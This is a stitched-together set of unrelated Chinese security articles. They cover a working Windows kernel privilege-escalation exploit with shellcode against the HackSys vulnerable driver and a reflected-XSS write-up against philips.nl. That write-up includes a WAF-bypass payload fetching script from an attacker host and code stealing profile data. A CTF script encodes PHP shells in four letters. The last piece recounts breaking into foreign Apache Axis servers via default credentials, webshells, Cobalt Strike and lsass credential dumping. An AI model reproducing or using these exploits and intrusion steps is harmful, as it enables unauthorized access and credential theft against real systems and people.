0xc3, 0x83, 0xb8, 0x80, 0x01, 0x00, 0x00, 0x04, 0x74, 0x0f,
0x48, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48, 0x2d, 0x88,
0x01, 0x00, 0x00, 0xeb, 0xe8, 0x48, 0x8b, 0x88, 0x08, 0x02,
0x00, 0x00, 0x48, 0x89, 0x8b, 0x08, 0x02, 0x00, 0x00, 0x5f,
0x5e, 0x59, 0x5b, 0x58, 0xc3, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
int main()
{
printf("HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE Windows 7 x64 exploitnt@_xpn_nn");
ZwAllocateVirtualMemory _ZwAllocateVirtualMemory = (ZwAllocateVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwAllocateVirtualMemory");
PVOID memAddr = (PVOID)1;
SIZE_T regionSize = 4096;
char exploit[1024];
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
printf("[*] Mapping NULL page via ZwAllocateVirtualMemory()n");
NTSTATUS alloc = _ZwAllocateVirtualMemory(
GetCurrentProcess(),
&memAddr,
0,
®ionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (alloc != 0) {
printf("[!] Error mapping memoryn");
return 0;
}
printf("[*] Success, memory mappedn");
printf("[*] Opening handle to device drivern");
HANDLE driverHandle = CreateFileA(
"\\.\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (driverHandle == INVALID_HANDLE_VALUE) {
printf("[!] Error opening handlen");
return 0;
}
printf("[*] Handle opened successfullyn");
printf("[*] Spawning a new cmd.exe processn");
si.cb = sizeof(STARTUPINFOA);
if (!CreateProcessA(
NULL,
(LPSTR)"cmd.exe",
NULL,
NULL,
true,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
)) {
printf("[!] FATAL: Error spawning cmd.exen");
return 0;
}
printf("[*] cmd.exe spawnedn");
Sleep(1000);
printf("[*] Updating our shellcode to search for PID %dn", pi.dwProcessId);
*(DWORD *)((char *)shellcode + 27) = pi.dwProcessId;
printf("[*] Setting Callback() pointer at 0x08 to point to shellcoden");
*(unsigned long long*)0x8 = 0x100;
printf("[*] Copying shellcode to 0x100n");
memcpy((void*)0x100, shellcode, sizeof(shellcode));
printf("[*] Sending IOCTL to trigger exploitn");
memset(exploit, 'A', sizeof(exploit));
DeviceIoControl(
driverHandle,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
exploit,
sizeof(exploit),
NULL,
0,
NULL,
NULL
);
printf("[*] Done, enjoy your new system shell :)n");
return 0;
}
最后，成功运行：
在Windows 7成功利用漏洞之后，我们开始研究Windows 10。
## Windows 10漏洞利用
Windows在新版本中，引入了安全保护，防止用户进程映射NULL页，因此我们在上面的例子中所进行的操作就无法实现了。我们必须寻找一种替代方案，这时，NTVDM和NT虚拟DOS主机映入我们的脑海。
NTVDM是一个Windows 10
x86上的可选功能，用于支持16位应用程序。为了运行16位应用程序，系统将会启动名为NTVDM.exe的进程，并会映射NULL页。我之前在我关于WARBIRD（
<https://blog.xpnsec.com/windows-warbird-privesc/> ）的帖子中利用过这一漏洞，今天我们将再次利用。
为了利用NTVDM.exe映射的NULL页，我们将在进程中注入一个DLL，并复制我们的Shellcode。但是，利用这个漏洞时需要注意一些事项：
1、NTVDM子系统默认是禁用的；
2、需要管理员账户才可以启用此功能。
我们在测试机器上用以下命令设置NTVDM：
fondue /enable-feature:ntvdm /hide-ux:all
现在，如果我们运行一个16位的应用程序，比如debug.exe，我们将看到NTVDM.exe进程启动：
接下来，我们需要NTVDM加载我们得漏洞。为此，我们将会使用典型的VirtualAllocEx/WriteProcessMemory/CreateRemoteThread技术来加载DLL。我正在计划写一篇关于进程注入的文章，因此在这里并不会过多介绍这一方法的细节。而我们注入的内容可以在下面看到，此前有一篇相关的博客文章，感兴趣的话可以阅读：<https://blog.xpnsec.com/windows-warbird-privesc/> 。
#include "stdafx.h"
void PrintUsage(void) {
printf("Windows NTVDM DLL Injectionn");
printf("Created by @_xpn_n");
}
int main(int argc, char **argv)
{
int pid = 0;
HANDLE pHandle;
SIZE_T written = 0;
void *destMem, *loadLibrary;
char currentDir[MAX_PATH];
char dllPath[MAX_PATH];
PrintUsage();
if (argc != 2) {
printf("Usage: %s NTVDM_PIDn");
printf("Note: NTVDM can be launched by executing debug.exenn");
return 1;
}
pid = atoi(argv[1]);
if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == NULL) {
printf("[X] OpenProcess() failed, make sure PID is for NTVDM processn");
return 2;
}
else {
printf("[.] OpenProcess() completed, handle: %dn", pHandle);
}
if ((destMem = VirtualAllocEx(pHandle, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL) {
printf("[X] VirtualAllocEx() failed to allocate memory in processn");
return 3;
}
else {
printf("[.] VirtualAllocEx() allocated memory at %pn", destMem);
}
if ((loadLibrary = (void *)GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA")) == NULL) {
printf("[X] GetProcAddress() failed to find address of LoadLibrary()n");
return 3;
}
else {
printf("[.] Found LoadLibrary() at address %pn", loadLibrary);
}
GetCurrentDirectoryA(sizeof(currentDir), currentDir);
sprintf_s(dllPath, sizeof(dllPath), "%s\%s", currentDir, "exploit.dll");
if (WriteProcessMemory(pHandle, destMem, dllPath, strlen(dllPath), &written) == 0) {
printf("[X] WriteProcessMemory() failedn");
return 3;
}
else {
printf("[.] WriteProcessMemory() successfully wrote exploit DLL path to NTVDMn");
}
if (CreateRemoteThread(pHandle, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, destMem, NULL, NULL) == NULL) {
printf("[X] CreateRemoteThread() failed to load DLL in victim processn");
return 3;
}
else {
printf("[!!!] CreateRemoteThread() finished, exploit running...n");
}
printf("[!!!] If the exploit was successful, you should now be SYSTEM... enjoy :Dnn");
}
现在，我们需要制作一个DLL来承载我们的漏洞代码。由于DLL将被注入NTVDM.exe的进程地址空间，因此我们需要：
1、编写内核Shellcode，该Shellcode要支持Windows 10的x86版本；
2、一旦我们的DLL被加载，就要复制Shellcode到地址100h处；
3、在地址4h处，添加一个指向Shellcode的指针，以便Callback属性使用；
4、为HEVD驱动程序触发DeviceloControl，它会将执行传递给Shellcode。
首先，看看我们的内核Shellcode。对于这个漏洞，我们重新使用此前WARBIRD的Shellcode，它会寻找cmd.exe进程，并从特权系统进程中复制进程令牌。
pushad
mov eax, [fs:0x120 + 0x4] ; Get 'CurrentThread' from KPRCB
mov eax, [eax + 0x150] ; Get 'Process' property from current thread
next_process:
cmp dword [eax + 0x17c], 'cmd.' ; Search for 'cmd.exe' process
je found_cmd_process
mov eax, [eax + 0xb8] ; If not found, go to next process
sub eax, 0xb8
jmp next_process
found_cmd_process:
mov ebx, eax ; Save our cmd.exe EPROCESS for later
find_system_process:
cmp dword [eax + 0xb4], 0x00000004 ; Search for PID 4 (System process)
je found_system_process
mov eax, [eax + 0xb8]
sub eax, 0xb8
jmp find_system_process
found_system_process:
mov ecx, [eax + 0xfc] ; Take TOKEN from System process
mov [ebx+0xfc], ecx ; And copy it to the cmd.exe process
popad
ret
在这里，需要注意这个32位的Ring-0 Shellcode和我们之前Win 7 x64的Shellcode还是有一些细微区别的：
1、用来派生KPRCB结构的段寄存器是fs寄存器而不是gs寄存器；
2、所有到nt!_EPROCESS、nt!_KTHREAD和nt!KPRCB结构的偏移量都是不同的。
我们有了Shellcode之后，就可以对它进行编译：
nasm /tmp/win10-32.asm -o /tmp/win10-32.bin -f bin
并提取一个C缓冲区：
radare2 -b 32 -c 'pc' /tmp/win10-32.bin
这样，我们得到的C缓冲区如下：
const uint8_t buffer[] = {
0x60, 0x64, 0xa1, 0x24, 0x01, 0x00, 0x00, 0x8b, 0x80, 0x50,
0x01, 0x00, 0x00, 0x81, 0xb8, 0x7c, 0x01, 0x00, 0x00, 0x63,
0x6d, 0x64, 0x2e, 0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00,
0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00, 0xeb, 0xe7, 0x89, 0xc3,
0x83, 0xb8, 0xb4, 0x00, 0x00, 0x00, 0x04, 0x74, 0x0d, 0x8b,
0x80, 0xb8, 0x00, 0x00, 0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00,
0xeb, 0xea, 0x8b, 0x88, 0xfc, 0x00, 0x00, 0x00, 0x89, 0x8b,
0xfc, 0x00, 0x00, 0x00, 0x61, 0xc3, 0xff, 0xff, 0xff, 0xff,
};
接下来，就需要编写我们的DLL。类似于Windows 7漏洞，需要通过DeviceloControl调用来触发空指针引用：
HANDLE driverHandle = CreateFileA(
"\\.\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
char exploit[1024];
memset(exploit, 'A', sizeof(exploit));
DeviceIoControl(
driverHandle,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
exploit,
sizeof(exploit),
NULL,
0,
NULL,
NULL
);
然而，在我们触发之前，需要确保Shellcode已经到位。首先通过利用VirualProtect来确保NULL页被设置为RWX：
DWORD oldProt;
// Make sure that NULL page is RWX
VirtualProtect(0, 4096, PAGE_EXECUTE_READWRITE, &oldProt);
接下来，将Shellcode复制到地址100h：
// Copy our shellcode to the NULL page at offset 0x100
RtlCopyMemory((void*)0x100, shellcode, 256);
最后，我们在4h设置一个指向Shellcode的指针，这是驱动程序使用的Callback()属性的32位偏移量：
// Set the ->Callback() function pointer
*(unsigned long long *)0x04 = 0x100;
结合起来，我们最终的漏洞利用代码如下：
#include "stdafx.h"
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
// Shellcode to be executed by exploit
const char shellcode[256] = {
0x60, 0x64, 0xa1, 0x24, 0x01, 0x00, 0x00, 0x8b, 0x80, 0x50,
0x01, 0x00, 0x00, 0x81, 0xb8, 0x7c, 0x01, 0x00, 0x00, 0x63,
0x6d, 0x64, 0x2e, 0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00,
0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00, 0xeb, 0xe7, 0x89, 0xc3,
0x83, 0xb8, 0xb4, 0x00, 0x00, 0x00, 0x04, 0x74, 0x0d, 0x8b,
0x80, 0xb8, 0x00, 0x00, 0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00,
0xeb, 0xea, 0x8b, 0x88, 0xfc, 0x00, 0x00, 0x00, 0x89, 0x8b,
0xfc, 0x00, 0x00, 0x00, 0x61, 0xc3, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
void exploit(void) {
DWORD BytesReturned;
DWORD oldProt;
// Make sure that NULL page is RWX
VirtualProtect(0, 4096, PAGE_EXECUTE_READWRITE, &oldProt);
// Set the ->Callback() function pointer
*(unsigned long long *)0x04 = 0x100;
// Copy our shellcode to the NULL page at offset 0x100
RtlCopyMemory((void*)0x100, shellcode, 256);
HANDLE driverHandle = CreateFileA(
"\\.\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
char exploit[1024];
// Trigger the vulnerability
memset(exploit, 'A', sizeof(exploit));
DeviceIoControl(
driverHandle,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
exploit,
sizeof(exploit),
NULL,
0,
NULL,
NULL
);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
exploit();
break;
}
return TRUE;
}
如下图所示，运行时可以成功得到SYSTEM Shell： | 社区文章 |
翻译自:<https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c>
翻译：聂心明
你想参加私有众测？我很乐意邀请你，请联系我[email protected]
# 背景
从上一篇文章我们学到，[xss攻击](https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29)
的危害性很高；你能够用xss偷取cookie，攻击访问者的浏览器，或者用它[钓鱼](https://www.owasp.org/index.php/Phishing#Fix_all_your_XSS_issues)
今天我们将会学到Adobe Experience Manager (AEM) 的反射型xss，并且我们用能绕过waf的攻击向量来做一个钓鱼页面。
# Philips
一如既往，我们需要一个合适的攻击目标。[Philips](http://philips.com/)怎么样？今年他们获得了“荷兰最受尊敬的公司”。消费者信任他们的品牌，这就让他们成为钓鱼攻击者的高价值目标。
并且，它们有负责任的[披露平台](https://www.philips.com/a-w/security/coordinated-vulnerability-disclosure.html)，所以我能很安全的帮助到他们。是时候公布我们的[荣耀殿堂](https://www.philips.com/a-w/security/coordinated-vulnerability-disclosure/hall-of-honors.html)了。
## 侦查，寻找合适的攻击向量
我们去那里寻找xss呢？其实没有一个严格的规则。在测试开始前，我会用[Aquatone](https://github.com/michenriksen/aquatone)去探测子域名，看看这个[报告](https://medium.com/@jonathanbouman/how-i-hacked-apple-com-unrestricted-file-upload-bcda047e27e3)的详情。之后，我会打开[Burp
Suite](https://portswigger.net/burp)，看看这篇[报告](https://medium.com/@jonathanbouman/persistent-xss-at-ah-nl-198fe7b4c781)，然后我开始寻找漏洞。
当我开始访问网站的时候，Burp Suite会捕捉所有的请求报文和返回报文。Burp
Suite有一个很棒的功能就是创建网站[地图](https://portswigger.net/burp/documentation/desktop/tools/target/site-map)。我们能快速看到网站的结构，这也会让我们更容易的[重放](https://portswigger.net/burp/documentation/desktop/tools/repeater)一些请求数据包，然后去检测那个页面上是否有xss漏洞。
xss的原则是我们可以篡改输入变量（比如网站的url或者输入框）目的是注入我们自己的html变量到目标网站中去。因为我们能够注入一些能够改变网站结构的JavaScript代码，这样就可以伪造一个登陆页面。
url是一个很重要的[攻击向量](https://www.owasp.org/index.php/Web_Parameter_Tampering)。如果url直接反射到了返回页面之中，且没有经过过滤，那么就会有潜在的xss漏洞。
另一个重要的事情是，能不能添加一些html数据到网站数据库中，这就是存储型xss
长话短说，经过几个小时的尝试，我没有找到反射或者存储型xss。我开始观察burp捕捉到的url参数，它们都被过滤了。很好啊，Philips！
下面给你们看一个例子，我们操作输入数据试图在页面中注入`<h1>Hi
mom</h1>`。它被过滤成`<h1>Hi+mom</h1>`。所以浏览器就不会把它们试图渲染成html，而是把它们当成普通文本。
## 我们现在要做什么？去寻找这个网站是用了什么框架
通过[WhatCMS.org](https://whatcms.org/)来查看Philips是用什么框架写的。它们创造了一种算法，能识别[320种cms系统](https://whatcms.org/About)，真棒！
发现网站框架名的另一种方式是查看网站主页源代码的顶部：
现在我们知道它们用的web框架是Adobe Experience Manager
(AEM)，我应该尽可能多的去接触一下这个cms。这也给了我们更多寻找漏洞的灵感。最佳实践是什么？过去有没有安全升级？或者其中有没有隐藏的函数？
# Adobe Experience Manager
尽可能的去阅读这个软件的文档，有时会经常带给我们一些启发。另外，就是尝试去谷歌一下这个软件，寻找一些关于这个软件的博客或者一些专家分享的一些奇怪特性。
如果你用`/?debug=layout`去访问Philips这个网站呢？
在debug模式下，返回页面居然把url直接放入了其中。
好的，让我们试一下JavaScript。
# 绕过应用防火墙
所以我们有了注入点，就是url路径结合参数`debug=layout`。现在我们要寻找一些可以绕过防火墙的且能执行JavaScript的html代码。
# 识别waf
可以用
[WhatWaf](https://github.com/Ekultek/WhatWaf)来快速识别所使用的waf。它会用一些payload去探测目标，并且用一些规则来匹配输出。
它们用的waf是ModSecurity和[AkamaiGHost](https://www.akamai.com/uk/en/resources/waf.jsp).
# 绕过ModSecurity 和 AkamaiGHost
我喜欢用手工的方式去做某些事情。可以尝试用 [Burp Suite
Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder/using)爆破一下，但是大量的请求会对服务器造成巨大的压力；你也会被加入到黑名单中。
当我们喝完一杯茶之后我们发现：
1. waf会拦截`<script>` 标签
2. waf允许`<body>` 标签
3. waf拦截了几乎所有的JavaScript事件（比如：`onerror, onload, onmouseout`)，但是允许使用 `onpointerenter` [事件](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerenter)
4. waf会拦截在路径出现的`https://`
我会查看是否jQuery已经被加载到这个页面之中。jQuery允许我们创建一些体积很小且可以跨浏览器运行的payload（通过使用getScript函数）
现在是时候去构造payload了：
`https://www.philips.nl/healthcare/<body
onpointerenter="jQuery.getScript('https:/'
+'/attackerserver.ltd/philips/inject.js')">?debug=layout`
我们注入了一个body标签，当有人把鼠标移动到页面的上的时候，就会触发jQuery的
[getScript](https://api.jquery.com/jquery.getscript/)函数。这个函数会加载我们的JavaScript文件，并且执行里面的内容。我们使用`'https:/'
+'/attackerserver.ltd'`去绕过waf对于`https://`的过滤。
我们把payload进行一次[url编码](https://en.wikipedia.org/wiki/Percent-encoding)，目的是确保链接有效，且能更容易的发送给受害者手中。
# 能用的payload
`https://www.philips.nl/healthcare/%3Cbody%20onpointerenter=%22jQuery.getScript('https:/'+'/attackerserver.ltd/philips/inject.js')%22%3E?debug=layout`
# 创造一个合适的poc
所有人都知道`<script>alert('XSS')</script>`是一个经典的poc，但是我希望我能花一点时间做一个令人印象深刻的poc，一个完整的phishing登录页面。
这可以以更好的方式把这个漏洞的危害性展示给其他人，如果有人看到这个假登录页面就会明白这个漏洞的危害性有多高。
在后期的文章中，我将解释如何在几分钟之内创建好这个钓鱼页面。你可以关注我的[推特](https://twitter.com/JonathanBouman)和[Medium](https://medium.com/@jonathanbouman/)
来获取更新的文章
# 从用户的日志信息中偷走用户的详细信息
Philips用 [Janrain](https://www.janrain.com/)来作为消费者用户的登录界面。Janrain会在浏览器的
[localstorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) 中存储用户的详细信息。所以如果一个人曾经登录过的话，我们就能偷走他的详细信息。
下面这一行JavaScript代码就可以从日志中偷走用户的详细信息。
`var user = (localStorage.getItem("janrainCaptureProfileData")) ?
localStorage.getItem("janrainCaptureProfileData") : "Not logged in";`
# poc的运行
# 绕过html标签的检查
Philips添加了一个新的防火墙规则来阻止所有的html标签。但还是开着debug模式。在丢失一个`>` 的情况下，我们还是能够注入html标签。
https://www.philips.nl/healthcare/<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"?debug=layout
我们还是能够在服务器中注入payload，当你看到来自`<br>`的`>`时，它就能闭合掉body标签。当waf阻挡alert()这个字符串时，有一个小技巧可以去绕过它：就是把这个字符串分割成两部分，然后把它们添加到html标签的属性之中。通过使用`top[attribute1+attribute2]`，就会把相同标签的属性合并起来。
# 解决方案
* 这个问题的解决方案非常简单，就是关闭debug模式就好，通过AEM的[配置](https://helpx.adobe.com/experience-manager/dispatcher/using/dispatcher-configuration.html)就可以做到这点
* 可以改善waf来阻挡url中的html标签或者事件函数，但使用黑名单从来不是一个很好的解决方案，我们总是可以发现更多新的payload去绕过黑名单的检查。
# 攻击的影响
* 通过访问我们准备好的链接就可以偷走用户的隐私信息
* 通过在受害者浏览器中注入[beefproject.com](http://beefproject.com/)框架，就可以攻击访问者的浏览器
* 创建一个钓鱼页面
# 荣耀殿堂 | 社区文章 |
# 【技术分享】XDCTF Upload引发出来的一个新思路
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[Lucifaer](http://bobao.360.cn/member/contribute?uid=2789273957)
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
在十一的XDCTF中有一道Upload题引出的如何通过固定的几个字符，利用php伪协议中的 **convert.base64-encode**
来写shell。
**
**
**0x00 一道题引出的话题**
我们首先抛砖引玉，来看一下这道题的关键代码：
<?php
error_reporting(0);
session_start();
if (isset($_FILES[file]) && $_FILES[file]['size'] < 4 ** 8) {
$d = "./tmp/" . md5(session_id());
@mkdir($d);
$b = "$d/" . pathinfo($_FILES[file][name], 8);
file_put_contents($b, preg_replace('/[^acgt]/is', '', file_get_contents($_FILES[file][tmp . "_name"])));
echo $b;
}
这道题限制了使用php://input、data://、read://。关键的考点就是如何过这个正则/[^acgt]/is。
ok，正则表示我们只能使用acgtACGT这么8个字符，那么我们如何通过这8个字符来写shell呢？
下面我们就用这8个字符来尝试生成我们的payload，以达到执行我们的php代码的目的。
**
**
**0x01 解决问题的关键——base64解码函数tips**
解决上述问题的关键，就是base64的解码规则。
首先你应该知道的：
base64使用的字符包括大小写字母26个，加上10个数字，和+、/共64个字符。
base64在解码时，如果参数中有非法字符（不在上面64个字符内的），就会跳过。
举个例子：
以r举例，我们可以看到可以通过ctTT进行base64解码后取得：
那么我们顺着这个思路，就可以得到一张通过已经给出的8个字符所得到的所有字符的字符表：
import base64
import string
from itertools import product
from pprint import pprint
# base64基础64字符
dict = string.ascii_letters + string.digits + "+/"
# 利用可用字符替换其他字符
def exchange(allow_chars):
possible = list(product(allow_chars, repeat=4))
table = {}
for list_data in possible:
data = "".join(list_data)
decode_data = base64.b64decode(data)
counter = 0
t = 0
for i in decode_data:
j = chr(i)
if j in dict:
counter += 1
t = j
if counter == 1:
table[t] = data
return table
if __name__ == '__main__':
chars = 'acgtACGT'
pprint(exchange(chars))
代码很简单，就是将acgtACGT取了单位元组为4个元素的笛卡尔积，之后将每个笛卡尔积所组成的新的字符串进行base64解码，结果如下：
目前只有26个元素，剩下的怎么得到呢？
我们改一下我们的脚本：
import base64
import string
from itertools import product
from pprint import pprint
# base64基础64字符
dict = string.ascii_letters + string.digits + "+/"
# 利用可用字符替换其他字符
def exchange(allow_chars):
possible = list(product(allow_chars, repeat=4))
table = {}
for list_data in possible:
data = "".join(list_data)
decode_data = base64.b64decode(data)
counter = 0
t = 0
for i in decode_data:
j = chr(i)
if j in dict:
counter += 1
t = j
if counter == 1:
table[t] = data
return table
def limited_exchanging(allow_chars):
tables = []
saved_length = 0
flag = True
while True:
table = exchange(allow_chars)
length = len(table.keys())
if saved_length == length:
flag = False
break
saved_length = length
print("[+] Got %d chars: %s" % (length, table.keys()))
tables.append(table)
allow_chars = table.keys()
if set(table.keys()) >= set(dict):
break
if flag:
return tables
return False
if __name__ == '__main__':
chars = 'acgtACGT'
pprint(limited_exchanging(chars))
最后可以得到这样的映射表：
图很长，就不截了。
通过base64解码的特性，我们将8个字符拓展到了64个字符，接下来就是将我们的原数据进行转换就好了。
**
**
**0x02 剩下的一些要注意的点**
1\. decode次数的问题
根据上面的代码，我们只需要len(tables)就可以知道我们转换经历了几次的过程，这边len(tables)是3次。
需要注意的是，在利用php://filter/convert.base64-decode/resource=的时候，需要len(tables) +
1，也就是说是4次，没毛病吧。
2\. 在利用我们得出的映射表时，怎么迭代向前替换问题
将tableslist从后向前遍历，最后得到的即为全部是指定字符的payload。
**
**
**0x03 最终的脚本**
import base64
import string
import os
from itertools import product
# base64基础64字符
dict = string.ascii_letters + string.digits + "+/"
# 得到payload完成base64编码后需要进行替换的向量
def payload_base64_encode(data):
return base64.b64encode(data).decode().replace("n", "").replace("=", "")
# 利用可用字符替换其他字符
def exchange(allow_chars):
possible = list(product(allow_chars, repeat=4))
table = {}
for list_data in possible:
data = "".join(list_data)
decode_data = base64.b64decode(data)
counter = 0
t = 0
for i in decode_data:
j = chr(i)
if j in dict:
counter += 1
t = j
if counter == 1:
table[t] = data
return table
# 迭代得出完整的映射表
def limited_exchanging(allow_chars):
tables = []
saved_length = 0
flag = True
while True:
table = exchange(allow_chars)
length = len(table.keys())
if saved_length == length:
flag = False
break
saved_length = length
print("[+] Got %d exchange_chars: %s" % (length, table.keys()))
tables.append(table)
allow_chars = table.keys()
if set(table.keys()) >= set(dict):
break
if flag:
return tables
return False
# 得到最后的payload
def create_payload(tables, data):
encoded = payload_base64_encode(data)
print("[+] Payload base64: " + encoded)
result = encoded
for d in tables[::-1]:
encoded = result
result = ""
for i in encoded:
result += d[i]
return result
def main():
payload = b"<?php echo "hacked by lucifaer"?>"
limit_chars = 'acgtACGT'
filename = limit_chars
tables = limited_exchanging(limit_chars)
if tables:
cipher = create_payload(tables, payload)
with open(filename, "w") as f:
f.write(cipher)
print("[+] The encoded data is saved to file (%d Bytes) : %s" % (len(cipher), filename))
command = "php -r 'include("" + "php://filter/convert.base64-decode/resource=" * (
len(tables) + 1) + "%s");'" % (filename)
print("[+] Usage : %s" % command)
print("[+] Executing...")
os.system(command=command)
else:
print("[-] Failed: %s" % tables)
if __name__ == '__main__':
main()
**0x04 总结**
这道题提出了一个比较好的思路，值得学习 | 社区文章 |
## 摸鱼
日常摸鱼，无聊，想搞几台机器玩一玩，在网上找目标，找老外的机器下手
## 目标
country="US" && app="APACHE-Axis"
从老洞捡些漏网之鱼，没准还会有意外收获
目标出现
还是熟悉的页面，熟悉的端口
然后尝试默认口令登录，ok, 这下稳了
先搜集一下信息
不要上来就部署包，先看一下现有的服务，像这种弱口令的基本上99.9999%都已经被人搞过了
再上传包就多此一举了，可以直接利用
找了一圈没发现遗留的马儿
找绝对路径自己上传
C:/elocker/webapps/admin/WEB-INF/classes
顺手一测，竟然可以出网，也不需要传shell了，直接掏出cs
执行命令
看结果失败了
## 反弹shell
难道是因为在url里执行，导致powershell命令没有执行成功吗？
带着这个疑问 反弹shell尝试一下
结果还是失败，可以确定，应该是有waf
## 写入shell
x.x.x.x:8080/services/config/download?url=http://x.x.x.x/dama.txt&path=C:\elocker\webapps\admin\axis2-web\shell.jsp
查看一下进程
通过对比发现某安全卫士
## 绕过杀软
通过测试发现，最基本的`net user`也执行不了
摆在面前的路只有2条
* 做免杀
* 抓密码
果断选择抓密码，简单有效。
mimikatz不免杀不可直接用
这里我利用procdump把lsass进程的内存文件导出本地，再在本地利用mimikatz读取密码
上传 procdump64.exe 并下载lsass.dmp
再在本地解析文件
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
# 导出为lsass.dump文件
